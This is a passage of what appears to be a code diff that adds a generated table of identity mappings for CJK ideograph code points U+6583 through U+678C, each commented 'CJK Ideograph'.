+ ["\u6583", "\u6583"], /* CJK Ideograph */
+ ["\u6584", "\u6584"], /* CJK Ideograph */
+ ["\u6585", "\u6585"], /* CJK Ideograph */
+ ["\u6586", "\u6586"], /* CJK Ideograph */
+ ["\u6587", "\u6587"], /* CJK Ideograph */
+ ["\u6588", "\u6588"], /* CJK Ideograph */
+ ["\u6589", "\u6589"], /* CJK Ideograph */
+ ["\u658A", "\u658A"], /* CJK Ideograph */
+ ["\u658B", "\u658B"], /* CJK Ideograph */
+ ["\u658C", "\u658C"], /* CJK Ideograph */
+ ["\u658D", "\u658D"], /* CJK Ideograph */
+ ["\u658E", "\u658E"], /* CJK Ideograph */
+ ["\u658F", "\u658F"], /* CJK Ideograph */
+ ["\u6590", "\u6590"], /* CJK Ideograph */
+ ["\u6591", "\u6591"], /* CJK Ideograph */
+ ["\u6592", "\u6592"], /* CJK Ideograph */
+ ["\u6593", "\u6593"], /* CJK Ideograph */
+ ["\u6594", "\u6594"], /* CJK Ideograph */
+ ["\u6595", "\u6595"], /* CJK Ideograph */
+ ["\u6596", "\u6596"], /* CJK Ideograph */
+ ["\u6597", "\u6597"], /* CJK Ideograph */
+ ["\u6598", "\u6598"], /* CJK Ideograph */
+ ["\u6599", "\u6599"], /* CJK Ideograph */
+ ["\u659A", "\u659A"], /* CJK Ideograph */
+ ["\u659B", "\u659B"], /* CJK Ideograph */
+ ["\u659C", "\u659C"], /* CJK Ideograph */
+ ["\u659D", "\u659D"], /* CJK Ideograph */
+ ["\u659E", "\u659E"], /* CJK Ideograph */
+ ["\u659F", "\u659F"], /* CJK Ideograph */
+ ["\u65A0", "\u65A0"], /* CJK Ideograph */
+ ["\u65A1", "\u65A1"], /* CJK Ideograph */
+ ["\u65A2", "\u65A2"], /* CJK Ideograph */
+ ["\u65A3", "\u65A3"], /* CJK Ideograph */
+ ["\u65A4", "\u65A4"], /* CJK Ideograph */
+ ["\u65A5", "\u65A5"], /* CJK Ideograph */
+ ["\u65A6", "\u65A6"], /* CJK Ideograph */
+ ["\u65A7", "\u65A7"], /* CJK Ideograph */
+ ["\u65A8", "\u65A8"], /* CJK Ideograph */
+ ["\u65A9", "\u65A9"], /* CJK Ideograph */
+ ["\u65AA", "\u65AA"], /* CJK Ideograph */
+ ["\u65AB", "\u65AB"], /* CJK Ideograph */
+ ["\u65AC", "\u65AC"], /* CJK Ideograph */
+ ["\u65AD", "\u65AD"], /* CJK Ideograph */
+ ["\u65AE", "\u65AE"], /* CJK Ideograph */
+ ["\u65AF", "\u65AF"], /* CJK Ideograph */
+ ["\u65B0", "\u65B0"], /* CJK Ideograph */
+ ["\u65B1", "\u65B1"], /* CJK Ideograph */
+ ["\u65B2", "\u65B2"], /* CJK Ideograph */
+ ["\u65B3", "\u65B3"], /* CJK Ideograph */
+ ["\u65B4", "\u65B4"], /* CJK Ideograph */
+ ["\u65B5", "\u65B5"], /* CJK Ideograph */
+ ["\u65B6", "\u65B6"], /* CJK Ideograph */
+ ["\u65B7", "\u65B7"], /* CJK Ideograph */
+ ["\u65B8", "\u65B8"], /* CJK Ideograph */
+ ["\u65B9", "\u65B9"], /* CJK Ideograph */
+ ["\u65BA", "\u65BA"], /* CJK Ideograph */
+ ["\u65BB", "\u65BB"], /* CJK Ideograph */
+ ["\u65BC", "\u65BC"], /* CJK Ideograph */
+ ["\u65BD", "\u65BD"], /* CJK Ideograph */
+ ["\u65BE", "\u65BE"], /* CJK Ideograph */
+ ["\u65BF", "\u65BF"], /* CJK Ideograph */
+ ["\u65C0", "\u65C0"], /* CJK Ideograph */
+ ["\u65C1", "\u65C1"], /* CJK Ideograph */
+ ["\u65C2", "\u65C2"], /* CJK Ideograph */
+ ["\u65C3", "\u65C3"], /* CJK Ideograph */
+ ["\u65C4", "\u65C4"], /* CJK Ideograph */
+ ["\u65C5", "\u65C5"], /* CJK Ideograph */
+ ["\u65C6", "\u65C6"], /* CJK Ideograph */
+ ["\u65C7", "\u65C7"], /* CJK Ideograph */
+ ["\u65C8", "\u65C8"], /* CJK Ideograph */
+ ["\u65C9", "\u65C9"], /* CJK Ideograph */
+ ["\u65CA", "\u65CA"], /* CJK Ideograph */
+ ["\u65CB", "\u65CB"], /* CJK Ideograph */
+ ["\u65CC", "\u65CC"], /* CJK Ideograph */
+ ["\u65CD", "\u65CD"], /* CJK Ideograph */
+ ["\u65CE", "\u65CE"], /* CJK Ideograph */
+ ["\u65CF", "\u65CF"], /* CJK Ideograph */
+ ["\u65D0", "\u65D0"], /* CJK Ideograph */
+ ["\u65D1", "\u65D1"], /* CJK Ideograph */
+ ["\u65D2", "\u65D2"], /* CJK Ideograph */
+ ["\u65D3", "\u65D3"], /* CJK Ideograph */
+ ["\u65D4", "\u65D4"], /* CJK Ideograph */
+ ["\u65D5", "\u65D5"], /* CJK Ideograph */
+ ["\u65D6", "\u65D6"], /* CJK Ideograph */
+ ["\u65D7", "\u65D7"], /* CJK Ideograph */
+ ["\u65D8", "\u65D8"], /* CJK Ideograph */
+ ["\u65D9", "\u65D9"], /* CJK Ideograph */
+ ["\u65DA", "\u65DA"], /* CJK Ideograph */
+ ["\u65DB", "\u65DB"], /* CJK Ideograph */
+ ["\u65DC", "\u65DC"], /* CJK Ideograph */
+ ["\u65DD", "\u65DD"], /* CJK Ideograph */
+ ["\u65DE", "\u65DE"], /* CJK Ideograph */
+ ["\u65DF", "\u65DF"], /* CJK Ideograph */
+ ["\u65E0", "\u65E0"], /* CJK Ideograph */
+ ["\u65E1", "\u65E1"], /* CJK Ideograph */
+ ["\u65E2", "\u65E2"], /* CJK Ideograph */
+ ["\u65E3", "\u65E3"], /* CJK Ideograph */
+ ["\u65E4", "\u65E4"], /* CJK Ideograph */
+ ["\u65E5", "\u65E5"], /* CJK Ideograph */
+ ["\u65E6", "\u65E6"], /* CJK Ideograph */
+ ["\u65E7", "\u65E7"], /* CJK Ideograph */
+ ["\u65E8", "\u65E8"], /* CJK Ideograph */
+ ["\u65E9", "\u65E9"], /* CJK Ideograph */
+ ["\u65EA", "\u65EA"], /* CJK Ideograph */
+ ["\u65EB", "\u65EB"], /* CJK Ideograph */
+ ["\u65EC", "\u65EC"], /* CJK Ideograph */
+ ["\u65ED", "\u65ED"], /* CJK Ideograph */
+ ["\u65EE", "\u65EE"], /* CJK Ideograph */
+ ["\u65EF", "\u65EF"], /* CJK Ideograph */
+ ["\u65F0", "\u65F0"], /* CJK Ideograph */
+ ["\u65F1", "\u65F1"], /* CJK Ideograph */
+ ["\u65F2", "\u65F2"], /* CJK Ideograph */
+ ["\u65F3", "\u65F3"], /* CJK Ideograph */
+ ["\u65F4", "\u65F4"], /* CJK Ideograph */
+ ["\u65F5", "\u65F5"], /* CJK Ideograph */
+ ["\u65F6", "\u65F6"], /* CJK Ideograph */
+ ["\u65F7", "\u65F7"], /* CJK Ideograph */
+ ["\u65F8", "\u65F8"], /* CJK Ideograph */
+ ["\u65F9", "\u65F9"], /* CJK Ideograph */
+ ["\u65FA", "\u65FA"], /* CJK Ideograph */
+ ["\u65FB", "\u65FB"], /* CJK Ideograph */
+ ["\u65FC", "\u65FC"], /* CJK Ideograph */
+ ["\u65FD", "\u65FD"], /* CJK Ideograph */
+ ["\u65FE", "\u65FE"], /* CJK Ideograph */
+ ["\u65FF", "\u65FF"], /* CJK Ideograph */
+ ["\u6600", "\u6600"], /* CJK Ideograph */
+ ["\u6601", "\u6601"], /* CJK Ideograph */
+ ["\u6602", "\u6602"], /* CJK Ideograph */
+ ["\u6603", "\u6603"], /* CJK Ideograph */
+ ["\u6604", "\u6604"], /* CJK Ideograph */
+ ["\u6605", "\u6605"], /* CJK Ideograph */
+ ["\u6606", "\u6606"], /* CJK Ideograph */
+ ["\u6607", "\u6607"], /* CJK Ideograph */
+ ["\u6608", "\u6608"], /* CJK Ideograph */
+ ["\u6609", "\u6609"], /* CJK Ideograph */
+ ["\u660A", "\u660A"], /* CJK Ideograph */
+ ["\u660B", "\u660B"], /* CJK Ideograph */
+ ["\u660C", "\u660C"], /* CJK Ideograph */
+ ["\u660D", "\u660D"], /* CJK Ideograph */
+ ["\u660E", "\u660E"], /* CJK Ideograph */
+ ["\u660F", "\u660F"], /* CJK Ideograph */
+ ["\u6610", "\u6610"], /* CJK Ideograph */
+ ["\u6611", "\u6611"], /* CJK Ideograph */
+ ["\u6612", "\u6612"], /* CJK Ideograph */
+ ["\u6613", "\u6613"], /* CJK Ideograph */
+ ["\u6614", "\u6614"], /* CJK Ideograph */
+ ["\u6615", "\u6615"], /* CJK Ideograph */
+ ["\u6616", "\u6616"], /* CJK Ideograph */
+ ["\u6617", "\u6617"], /* CJK Ideograph */
+ ["\u6618", "\u6618"], /* CJK Ideograph */
+ ["\u6619", "\u6619"], /* CJK Ideograph */
+ ["\u661A", "\u661A"], /* CJK Ideograph */
+ ["\u661B", "\u661B"], /* CJK Ideograph */
+ ["\u661C", "\u661C"], /* CJK Ideograph */
+ ["\u661D", "\u661D"], /* CJK Ideograph */
+ ["\u661E", "\u661E"], /* CJK Ideograph */
+ ["\u661F", "\u661F"], /* CJK Ideograph */
+ ["\u6620", "\u6620"], /* CJK Ideograph */
+ ["\u6621", "\u6621"], /* CJK Ideograph */
+ ["\u6622", "\u6622"], /* CJK Ideograph */
+ ["\u6623", "\u6623"], /* CJK Ideograph */
+ ["\u6624", "\u6624"], /* CJK Ideograph */
+ ["\u6625", "\u6625"], /* CJK Ideograph */
+ ["\u6626", "\u6626"], /* CJK Ideograph */
+ ["\u6627", "\u6627"], /* CJK Ideograph */
+ ["\u6628", "\u6628"], /* CJK Ideograph */
+ ["\u6629", "\u6629"], /* CJK Ideograph */
+ ["\u662A", "\u662A"], /* CJK Ideograph */
+ ["\u662B", "\u662B"], /* CJK Ideograph */
+ ["\u662C", "\u662C"], /* CJK Ideograph */
+ ["\u662D", "\u662D"], /* CJK Ideograph */
+ ["\u662E", "\u662E"], /* CJK Ideograph */
+ ["\u662F", "\u662F"], /* CJK Ideograph */
+ ["\u6630", "\u6630"], /* CJK Ideograph */
+ ["\u6631", "\u6631"], /* CJK Ideograph */
+ ["\u6632", "\u6632"], /* CJK Ideograph */
+ ["\u6633", "\u6633"], /* CJK Ideograph */
+ ["\u6634", "\u6634"], /* CJK Ideograph */
+ ["\u6635", "\u6635"], /* CJK Ideograph */
+ ["\u6636", "\u6636"], /* CJK Ideograph */
+ ["\u6637", "\u6637"], /* CJK Ideograph */
+ ["\u6638", "\u6638"], /* CJK Ideograph */
+ ["\u6639", "\u6639"], /* CJK Ideograph */
+ ["\u663A", "\u663A"], /* CJK Ideograph */
+ ["\u663B", "\u663B"], /* CJK Ideograph */
+ ["\u663C", "\u663C"], /* CJK Ideograph */
+ ["\u663D", "\u663D"], /* CJK Ideograph */
+ ["\u663E", "\u663E"], /* CJK Ideograph */
+ ["\u663F", "\u663F"], /* CJK Ideograph */
+ ["\u6640", "\u6640"], /* CJK Ideograph */
+ ["\u6641", "\u6641"], /* CJK Ideograph */
+ ["\u6642", "\u6642"], /* CJK Ideograph */
+ ["\u6643", "\u6643"], /* CJK Ideograph */
+ ["\u6644", "\u6644"], /* CJK Ideograph */
+ ["\u6645", "\u6645"], /* CJK Ideograph */
+ ["\u6646", "\u6646"], /* CJK Ideograph */
+ ["\u6647", "\u6647"], /* CJK Ideograph */
+ ["\u6648", "\u6648"], /* CJK Ideograph */
+ ["\u6649", "\u6649"], /* CJK Ideograph */
+ ["\u664A", "\u664A"], /* CJK Ideograph */
+ ["\u664B", "\u664B"], /* CJK Ideograph */
+ ["\u664C", "\u664C"], /* CJK Ideograph */
+ ["\u664D", "\u664D"], /* CJK Ideograph */
+ ["\u664E", "\u664E"], /* CJK Ideograph */
+ ["\u664F", "\u664F"], /* CJK Ideograph */
+ ["\u6650", "\u6650"], /* CJK Ideograph */
+ ["\u6651", "\u6651"], /* CJK Ideograph */
+ ["\u6652", "\u6652"], /* CJK Ideograph */
+ ["\u6653", "\u6653"], /* CJK Ideograph */
+ ["\u6654", "\u6654"], /* CJK Ideograph */
+ ["\u6655", "\u6655"], /* CJK Ideograph */
+ ["\u6656", "\u6656"], /* CJK Ideograph */
+ ["\u6657", "\u6657"], /* CJK Ideograph */
+ ["\u6658", "\u6658"], /* CJK Ideograph */
+ ["\u6659", "\u6659"], /* CJK Ideograph */
+ ["\u665A", "\u665A"], /* CJK Ideograph */
+ ["\u665B", "\u665B"], /* CJK Ideograph */
+ ["\u665C", "\u665C"], /* CJK Ideograph */
+ ["\u665D", "\u665D"], /* CJK Ideograph */
+ ["\u665E", "\u665E"], /* CJK Ideograph */
+ ["\u665F", "\u665F"], /* CJK Ideograph */
+ ["\u6660", "\u6660"], /* CJK Ideograph */
+ ["\u6661", "\u6661"], /* CJK Ideograph */
+ ["\u6662", "\u6662"], /* CJK Ideograph */
+ ["\u6663", "\u6663"], /* CJK Ideograph */
+ ["\u6664", "\u6664"], /* CJK Ideograph */
+ ["\u6665", "\u6665"], /* CJK Ideograph */
+ ["\u6666", "\u6666"], /* CJK Ideograph */
+ ["\u6667", "\u6667"], /* CJK Ideograph */
+ ["\u6668", "\u6668"], /* CJK Ideograph */
+ ["\u6669", "\u6669"], /* CJK Ideograph */
+ ["\u666A", "\u666A"], /* CJK Ideograph */
+ ["\u666B", "\u666B"], /* CJK Ideograph */
+ ["\u666C", "\u666C"], /* CJK Ideograph */
+ ["\u666D", "\u666D"], /* CJK Ideograph */
+ ["\u666E", "\u666E"], /* CJK Ideograph */
+ ["\u666F", "\u666F"], /* CJK Ideograph */
+ ["\u6670", "\u6670"], /* CJK Ideograph */
+ ["\u6671", "\u6671"], /* CJK Ideograph */
+ ["\u6672", "\u6672"], /* CJK Ideograph */
+ ["\u6673", "\u6673"], /* CJK Ideograph */
+ ["\u6674", "\u6674"], /* CJK Ideograph */
+ ["\u6675", "\u6675"], /* CJK Ideograph */
+ ["\u6676", "\u6676"], /* CJK Ideograph */
+ ["\u6677", "\u6677"], /* CJK Ideograph */
+ ["\u6678", "\u6678"], /* CJK Ideograph */
+ ["\u6679", "\u6679"], /* CJK Ideograph */
+ ["\u667A", "\u667A"], /* CJK Ideograph */
+ ["\u667B", "\u667B"], /* CJK Ideograph */
+ ["\u667C", "\u667C"], /* CJK Ideograph */
+ ["\u667D", "\u667D"], /* CJK Ideograph */
+ ["\u667E", "\u667E"], /* CJK Ideograph */
+ ["\u667F", "\u667F"], /* CJK Ideograph */
+ ["\u6680", "\u6680"], /* CJK Ideograph */
+ ["\u6681", "\u6681"], /* CJK Ideograph */
+ ["\u6682", "\u6682"], /* CJK Ideograph */
+ ["\u6683", "\u6683"], /* CJK Ideograph */
+ ["\u6684", "\u6684"], /* CJK Ideograph */
+ ["\u6685", "\u6685"], /* CJK Ideograph */
+ ["\u6686", "\u6686"], /* CJK Ideograph */
+ ["\u6687", "\u6687"], /* CJK Ideograph */
+ ["\u6688", "\u6688"], /* CJK Ideograph */
+ ["\u6689", "\u6689"], /* CJK Ideograph */
+ ["\u668A", "\u668A"], /* CJK Ideograph */
+ ["\u668B", "\u668B"], /* CJK Ideograph */
+ ["\u668C", "\u668C"], /* CJK Ideograph */
+ ["\u668D", "\u668D"], /* CJK Ideograph */
+ ["\u668E", "\u668E"], /* CJK Ideograph */
+ ["\u668F", "\u668F"], /* CJK Ideograph */
+ ["\u6690", "\u6690"], /* CJK Ideograph */
+ ["\u6691", "\u6691"], /* CJK Ideograph */
+ ["\u6692", "\u6692"], /* CJK Ideograph */
+ ["\u6693", "\u6693"], /* CJK Ideograph */
+ ["\u6694", "\u6694"], /* CJK Ideograph */
+ ["\u6695", "\u6695"], /* CJK Ideograph */
+ ["\u6696", "\u6696"], /* CJK Ideograph */
+ ["\u6697", "\u6697"], /* CJK Ideograph */
+ ["\u6698", "\u6698"], /* CJK Ideograph */
+ ["\u6699", "\u6699"], /* CJK Ideograph */
+ ["\u669A", "\u669A"], /* CJK Ideograph */
+ ["\u669B", "\u669B"], /* CJK Ideograph */
+ ["\u669C", "\u669C"], /* CJK Ideograph */
+ ["\u669D", "\u669D"], /* CJK Ideograph */
+ ["\u669E", "\u669E"], /* CJK Ideograph */
+ ["\u669F", "\u669F"], /* CJK Ideograph */
+ ["\u66A0", "\u66A0"], /* CJK Ideograph */
+ ["\u66A1", "\u66A1"], /* CJK Ideograph */
+ ["\u66A2", "\u66A2"], /* CJK Ideograph */
+ ["\u66A3", "\u66A3"], /* CJK Ideograph */
+ ["\u66A4", "\u66A4"], /* CJK Ideograph */
+ ["\u66A5", "\u66A5"], /* CJK Ideograph */
+ ["\u66A6", "\u66A6"], /* CJK Ideograph */
+ ["\u66A7", "\u66A7"], /* CJK Ideograph */
+ ["\u66A8", "\u66A8"], /* CJK Ideograph */
+ ["\u66A9", "\u66A9"], /* CJK Ideograph */
+ ["\u66AA", "\u66AA"], /* CJK Ideograph */
+ ["\u66AB", "\u66AB"], /* CJK Ideograph */
+ ["\u66AC", "\u66AC"], /* CJK Ideograph */
+ ["\u66AD", "\u66AD"], /* CJK Ideograph */
+ ["\u66AE", "\u66AE"], /* CJK Ideograph */
+ ["\u66AF", "\u66AF"], /* CJK Ideograph */
+ ["\u66B0", "\u66B0"], /* CJK Ideograph */
+ ["\u66B1", "\u66B1"], /* CJK Ideograph */
+ ["\u66B2", "\u66B2"], /* CJK Ideograph */
+ ["\u66B3", "\u66B3"], /* CJK Ideograph */
+ ["\u66B4", "\u66B4"], /* CJK Ideograph */
+ ["\u66B5", "\u66B5"], /* CJK Ideograph */
+ ["\u66B6", "\u66B6"], /* CJK Ideograph */
+ ["\u66B7", "\u66B7"], /* CJK Ideograph */
+ ["\u66B8", "\u66B8"], /* CJK Ideograph */
+ ["\u66B9", "\u66B9"], /* CJK Ideograph */
+ ["\u66BA", "\u66BA"], /* CJK Ideograph */
+ ["\u66BB", "\u66BB"], /* CJK Ideograph */
+ ["\u66BC", "\u66BC"], /* CJK Ideograph */
+ ["\u66BD", "\u66BD"], /* CJK Ideograph */
+ ["\u66BE", "\u66BE"], /* CJK Ideograph */
+ ["\u66BF", "\u66BF"], /* CJK Ideograph */
+ ["\u66C0", "\u66C0"], /* CJK Ideograph */
+ ["\u66C1", "\u66C1"], /* CJK Ideograph */
+ ["\u66C2", "\u66C2"], /* CJK Ideograph */
+ ["\u66C3", "\u66C3"], /* CJK Ideograph */
+ ["\u66C4", "\u66C4"], /* CJK Ideograph */
+ ["\u66C5", "\u66C5"], /* CJK Ideograph */
+ ["\u66C6", "\u66C6"], /* CJK Ideograph */
+ ["\u66C7", "\u66C7"], /* CJK Ideograph */
+ ["\u66C8", "\u66C8"], /* CJK Ideograph */
+ ["\u66C9", "\u66C9"], /* CJK Ideograph */
+ ["\u66CA", "\u66CA"], /* CJK Ideograph */
+ ["\u66CB", "\u66CB"], /* CJK Ideograph */
+ ["\u66CC", "\u66CC"], /* CJK Ideograph */
+ ["\u66CD", "\u66CD"], /* CJK Ideograph */
+ ["\u66CE", "\u66CE"], /* CJK Ideograph */
+ ["\u66CF", "\u66CF"], /* CJK Ideograph */
+ ["\u66D0", "\u66D0"], /* CJK Ideograph */
+ ["\u66D1", "\u66D1"], /* CJK Ideograph */
+ ["\u66D2", "\u66D2"], /* CJK Ideograph */
+ ["\u66D3", "\u66D3"], /* CJK Ideograph */
+ ["\u66D4", "\u66D4"], /* CJK Ideograph */
+ ["\u66D5", "\u66D5"], /* CJK Ideograph */
+ ["\u66D6", "\u66D6"], /* CJK Ideograph */
+ ["\u66D7", "\u66D7"], /* CJK Ideograph */
+ ["\u66D8", "\u66D8"], /* CJK Ideograph */
+ ["\u66D9", "\u66D9"], /* CJK Ideograph */
+ ["\u66DA", "\u66DA"], /* CJK Ideograph */
+ ["\u66DB", "\u66DB"], /* CJK Ideograph */
+ ["\u66DC", "\u66DC"], /* CJK Ideograph */
+ ["\u66DD", "\u66DD"], /* CJK Ideograph */
+ ["\u66DE", "\u66DE"], /* CJK Ideograph */
+ ["\u66DF", "\u66DF"], /* CJK Ideograph */
+ ["\u66E0", "\u66E0"], /* CJK Ideograph */
+ ["\u66E1", "\u66E1"], /* CJK Ideograph */
+ ["\u66E2", "\u66E2"], /* CJK Ideograph */
+ ["\u66E3", "\u66E3"], /* CJK Ideograph */
+ ["\u66E4", "\u66E4"], /* CJK Ideograph */
+ ["\u66E5", "\u66E5"], /* CJK Ideograph */
+ ["\u66E6", "\u66E6"], /* CJK Ideograph */
+ ["\u66E7", "\u66E7"], /* CJK Ideograph */
+ ["\u66E8", "\u66E8"], /* CJK Ideograph */
+ ["\u66E9", "\u66E9"], /* CJK Ideograph */
+ ["\u66EA", "\u66EA"], /* CJK Ideograph */
+ ["\u66EB", "\u66EB"], /* CJK Ideograph */
+ ["\u66EC", "\u66EC"], /* CJK Ideograph */
+ ["\u66ED", "\u66ED"], /* CJK Ideograph */
+ ["\u66EE", "\u66EE"], /* CJK Ideograph */
+ ["\u66EF", "\u66EF"], /* CJK Ideograph */
+ ["\u66F0", "\u66F0"], /* CJK Ideograph */
+ ["\u66F1", "\u66F1"], /* CJK Ideograph */
+ ["\u66F2", "\u66F2"], /* CJK Ideograph */
+ ["\u66F3", "\u66F3"], /* CJK Ideograph */
+ ["\u66F4", "\u66F4"], /* CJK Ideograph */
+ ["\u66F5", "\u66F5"], /* CJK Ideograph */
+ ["\u66F6", "\u66F6"], /* CJK Ideograph */
+ ["\u66F7", "\u66F7"], /* CJK Ideograph */
+ ["\u66F8", "\u66F8"], /* CJK Ideograph */
+ ["\u66F9", "\u66F9"], /* CJK Ideograph */
+ ["\u66FA", "\u66FA"], /* CJK Ideograph */
+ ["\u66FB", "\u66FB"], /* CJK Ideograph */
+ ["\u66FC", "\u66FC"], /* CJK Ideograph */
+ ["\u66FD", "\u66FD"], /* CJK Ideograph */
+ ["\u66FE", "\u66FE"], /* CJK Ideograph */
+ ["\u66FF", "\u66FF"], /* CJK Ideograph */
+ ["\u6700", "\u6700"], /* CJK Ideograph */
+ ["\u6701", "\u6701"], /* CJK Ideograph */
+ ["\u6702", "\u6702"], /* CJK Ideograph */
+ ["\u6703", "\u6703"], /* CJK Ideograph */
+ ["\u6704", "\u6704"], /* CJK Ideograph */
+ ["\u6705", "\u6705"], /* CJK Ideograph */
+ ["\u6706", "\u6706"], /* CJK Ideograph */
+ ["\u6707", "\u6707"], /* CJK Ideograph */
+ ["\u6708", "\u6708"], /* CJK Ideograph */
+ ["\u6709", "\u6709"], /* CJK Ideograph */
+ ["\u670A", "\u670A"], /* CJK Ideograph */
+ ["\u670B", "\u670B"], /* CJK Ideograph */
+ ["\u670C", "\u670C"], /* CJK Ideograph */
+ ["\u670D", "\u670D"], /* CJK Ideograph */
+ ["\u670E", "\u670E"], /* CJK Ideograph */
+ ["\u670F", "\u670F"], /* CJK Ideograph */
+ ["\u6710", "\u6710"], /* CJK Ideograph */
+ ["\u6711", "\u6711"], /* CJK Ideograph */
+ ["\u6712", "\u6712"], /* CJK Ideograph */
+ ["\u6713", "\u6713"], /* CJK Ideograph */
+ ["\u6714", "\u6714"], /* CJK Ideograph */
+ ["\u6715", "\u6715"], /* CJK Ideograph */
+ ["\u6716", "\u6716"], /* CJK Ideograph */
+ ["\u6717", "\u6717"], /* CJK Ideograph */
+ ["\u6718", "\u6718"], /* CJK Ideograph */
+ ["\u6719", "\u6719"], /* CJK Ideograph */
+ ["\u671A", "\u671A"], /* CJK Ideograph */
+ ["\u671B", "\u671B"], /* CJK Ideograph */
+ ["\u671C", "\u671C"], /* CJK Ideograph */
+ ["\u671D", "\u671D"], /* CJK Ideograph */
+ ["\u671E", "\u671E"], /* CJK Ideograph */
+ ["\u671F", "\u671F"], /* CJK Ideograph */
+ ["\u6720", "\u6720"], /* CJK Ideograph */
+ ["\u6721", "\u6721"], /* CJK Ideograph */
+ ["\u6722", "\u6722"], /* CJK Ideograph */
+ ["\u6723", "\u6723"], /* CJK Ideograph */
+ ["\u6724", "\u6724"], /* CJK Ideograph */
+ ["\u6725", "\u6725"], /* CJK Ideograph */
+ ["\u6726", "\u6726"], /* CJK Ideograph */
+ ["\u6727", "\u6727"], /* CJK Ideograph */
+ ["\u6728", "\u6728"], /* CJK Ideograph */
+ ["\u6729", "\u6729"], /* CJK Ideograph */
+ ["\u672A", "\u672A"], /* CJK Ideograph */
+ ["\u672B", "\u672B"], /* CJK Ideograph */
+ ["\u672C", "\u672C"], /* CJK Ideograph */
+ ["\u672D", "\u672D"], /* CJK Ideograph */
+ ["\u672E", "\u672E"], /* CJK Ideograph */
+ ["\u672F", "\u672F"], /* CJK Ideograph */
+ ["\u6730", "\u6730"], /* CJK Ideograph */
+ ["\u6731", "\u6731"], /* CJK Ideograph */
+ ["\u6732", "\u6732"], /* CJK Ideograph */
+ ["\u6733", "\u6733"], /* CJK Ideograph */
+ ["\u6734", "\u6734"], /* CJK Ideograph */
+ ["\u6735", "\u6735"], /* CJK Ideograph */
+ ["\u6736", "\u6736"], /* CJK Ideograph */
+ ["\u6737", "\u6737"], /* CJK Ideograph */
+ ["\u6738", "\u6738"], /* CJK Ideograph */
+ ["\u6739", "\u6739"], /* CJK Ideograph */
+ ["\u673A", "\u673A"], /* CJK Ideograph */
+ ["\u673B", "\u673B"], /* CJK Ideograph */
+ ["\u673C", "\u673C"], /* CJK Ideograph */
+ ["\u673D", "\u673D"], /* CJK Ideograph */
+ ["\u673E", "\u673E"], /* CJK Ideograph */
+ ["\u673F", "\u673F"], /* CJK Ideograph */
+ ["\u6740", "\u6740"], /* CJK Ideograph */
+ ["\u6741", "\u6741"], /* CJK Ideograph */
+ ["\u6742", "\u6742"], /* CJK Ideograph */
+ ["\u6743", "\u6743"], /* CJK Ideograph */
+ ["\u6744", "\u6744"], /* CJK Ideograph */
+ ["\u6745", "\u6745"], /* CJK Ideograph */
+ ["\u6746", "\u6746"], /* CJK Ideograph */
+ ["\u6747", "\u6747"], /* CJK Ideograph */
+ ["\u6748", "\u6748"], /* CJK Ideograph */
+ ["\u6749", "\u6749"], /* CJK Ideograph */
+ ["\u674A", "\u674A"], /* CJK Ideograph */
+ ["\u674B", "\u674B"], /* CJK Ideograph */
+ ["\u674C", "\u674C"], /* CJK Ideograph */
+ ["\u674D", "\u674D"], /* CJK Ideograph */
+ ["\u674E", "\u674E"], /* CJK Ideograph */
+ ["\u674F", "\u674F"], /* CJK Ideograph */
+ ["\u6750", "\u6750"], /* CJK Ideograph */
+ ["\u6751", "\u6751"], /* CJK Ideograph */
+ ["\u6752", "\u6752"], /* CJK Ideograph */
+ ["\u6753", "\u6753"], /* CJK Ideograph */
+ ["\u6754", "\u6754"], /* CJK Ideograph */
+ ["\u6755", "\u6755"], /* CJK Ideograph */
+ ["\u6756", "\u6756"], /* CJK Ideograph */
+ ["\u6757", "\u6757"], /* CJK Ideograph */
+ ["\u6758", "\u6758"], /* CJK Ideograph */
+ ["\u6759", "\u6759"], /* CJK Ideograph */
+ ["\u675A", "\u675A"], /* CJK Ideograph */
+ ["\u675B", "\u675B"], /* CJK Ideograph */
+ ["\u675C", "\u675C"], /* CJK Ideograph */
+ ["\u675D", "\u675D"], /* CJK Ideograph */
+ ["\u675E", "\u675E"], /* CJK Ideograph */
+ ["\u675F", "\u675F"], /* CJK Ideograph */
+ ["\u6760", "\u6760"], /* CJK Ideograph */
+ ["\u6761", "\u6761"], /* CJK Ideograph */
+ ["\u6762", "\u6762"], /* CJK Ideograph */
+ ["\u6763", "\u6763"], /* CJK Ideograph */
+ ["\u6764", "\u6764"], /* CJK Ideograph */
+ ["\u6765", "\u6765"], /* CJK Ideograph */
+ ["\u6766", "\u6766"], /* CJK Ideograph */
+ ["\u6767", "\u6767"], /* CJK Ideograph */
+ ["\u6768", "\u6768"], /* CJK Ideograph */
+ ["\u6769", "\u6769"], /* CJK Ideograph */
+ ["\u676A", "\u676A"], /* CJK Ideograph */
+ ["\u676B", "\u676B"], /* CJK Ideograph */
+ ["\u676C", "\u676C"], /* CJK Ideograph */
+ ["\u676D", "\u676D"], /* CJK Ideograph */
+ ["\u676E", "\u676E"], /* CJK Ideograph */
+ ["\u676F", "\u676F"], /* CJK Ideograph */
+ ["\u6770", "\u6770"], /* CJK Ideograph */
+ ["\u6771", "\u6771"], /* CJK Ideograph */
+ ["\u6772", "\u6772"], /* CJK Ideograph */
+ ["\u6773", "\u6773"], /* CJK Ideograph */
+ ["\u6774", "\u6774"], /* CJK Ideograph */
+ ["\u6775", "\u6775"], /* CJK Ideograph */
+ ["\u6776", "\u6776"], /* CJK Ideograph */
+ ["\u6777", "\u6777"], /* CJK Ideograph */
+ ["\u6778", "\u6778"], /* CJK Ideograph */
+ ["\u6779", "\u6779"], /* CJK Ideograph */
+ ["\u677A", "\u677A"], /* CJK Ideograph */
+ ["\u677B", "\u677B"], /* CJK Ideograph */
+ ["\u677C", "\u677C"], /* CJK Ideograph */
+ ["\u677D", "\u677D"], /* CJK Ideograph */
+ ["\u677E", "\u677E"], /* CJK Ideograph */
+ ["\u677F", "\u677F"], /* CJK Ideograph */
+ ["\u6780", "\u6780"], /* CJK Ideograph */
+ ["\u6781", "\u6781"], /* CJK Ideograph */
+ ["\u6782", "\u6782"], /* CJK Ideograph */
+ ["\u6783", "\u6783"], /* CJK Ideograph */
+ ["\u6784", "\u6784"], /* CJK Ideograph */
+ ["\u6785", "\u6785"], /* CJK Ideograph */
+ ["\u6786", "\u6786"], /* CJK Ideograph */
+ ["\u6787", "\u6787"], /* CJK Ideograph */
+ ["\u6788", "\u6788"], /* CJK Ideograph */
+ ["\u6789", "\u6789"], /* CJK Ideograph */
+ ["\u678A", "\u678A"], /* CJK Ideograph */
+ ["\u678B", "\u678B"], /* CJK Ideograph */
+ ["\u678C", "\u678C"], /* CJK Ideograph */
